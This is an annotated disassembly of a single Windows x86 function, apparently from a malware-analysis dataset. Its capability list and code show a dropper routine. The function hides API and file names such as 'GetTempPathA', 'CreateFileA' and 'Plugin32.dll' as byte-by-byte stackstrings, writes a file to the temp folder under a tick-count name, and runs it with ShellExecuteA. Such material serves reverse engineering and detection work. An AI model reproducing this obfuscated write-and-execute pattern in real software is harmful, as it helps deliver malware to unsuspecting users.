Function at 0x1000fbf0
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x1b0
mov al, 0x45
push ebx
push ebp
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x40]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x6c
push eax
push ecx
mov byte [esp + 0x30], 0x4b
mov byte [esp + 0x32], 0x52
mov byte [esp + 0x33], 0x4e
mov byte [esp + 0x35], 0x4c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0
mov byte [esp + 0x4c], 0x47
mov byte [esp + 0x4d], 0x65
mov byte [esp + 0x4e], 0x74
mov byte [esp + 0x4f], 0x54
mov byte [esp + 0x50], 0x65
mov byte [esp + 0x51], 0x6d
mov byte [esp + 0x52], 0x70
mov byte [esp + 0x53], 0x50
mov byte [esp + 0x54], 0x61
mov byte [esp + 0x55], 0x74
mov byte [esp + 0x56], 0x68
mov byte [esp + 0x57], 0x41
mov byte [esp + 0x58], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x38]
lea eax, [esp + 0x28]
push edx
push eax
mov byte [esp + 0x40], 0x43
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], 0x65
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], 0x46
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4b], 0
call esi
push eax
call edi
lea ecx, [esp + 0xbc]
mov esi, eax
push ecx
push 0x104
call ebp
mov ebp, dword [esp + 0x1cc]
cmp ebp, 0xffffffff
jne 0x1000fd61
mov byte [esp + 0x10], 0x50
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x67
mov byte [esp + 0x14], 0x69
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x5c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ebx, dword [esp + 0x1d0]
add esp, 0xc
jmp 0x1000fda6
mov ebx, dword [esp + 0x1c4]
mov al, 0x25
push ebx
mov byte [esp + 0x14], 0x52
mov byte [esp + 0x15], 0x75
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x64
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x60]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x58]
lea ecx, [esp + 0xbc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0xd0]
push 0x40000000
push edx
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000fdeb
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1b0
ret 0xc
lea eax, [esp + 0x54]
push 0
push eax
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x1d0]
mov edi, ebx
not ecx
dec ecx
sub edx, ecx
or ecx, 0xffffffff
dec edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
lea eax, [ecx + ebx + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 0xffffffff
jne 0x1000fe3a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1b0
ret 0xc
lea ecx, [esp + 0xbc]
push 0x2e
push ecx
mov ecx, dword [0x1012bb9c]
call fcn.10010e90
test eax, eax
jne 0x1000fe60
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b0
ret 0xc
lea edx, [esp + 0xbc]
mov byte [esp + 0x20], 0x6f
push edx
mov byte [esp + 0x25], 0x70
mov byte [esp + 0x26], 0x65
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000fe9b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1b0
ret 0xc
push ebp
push 0
lea eax, [esp + 0xc4]
push 0
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x20
pop edi
cmp edx, eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x1b0
ret 0xc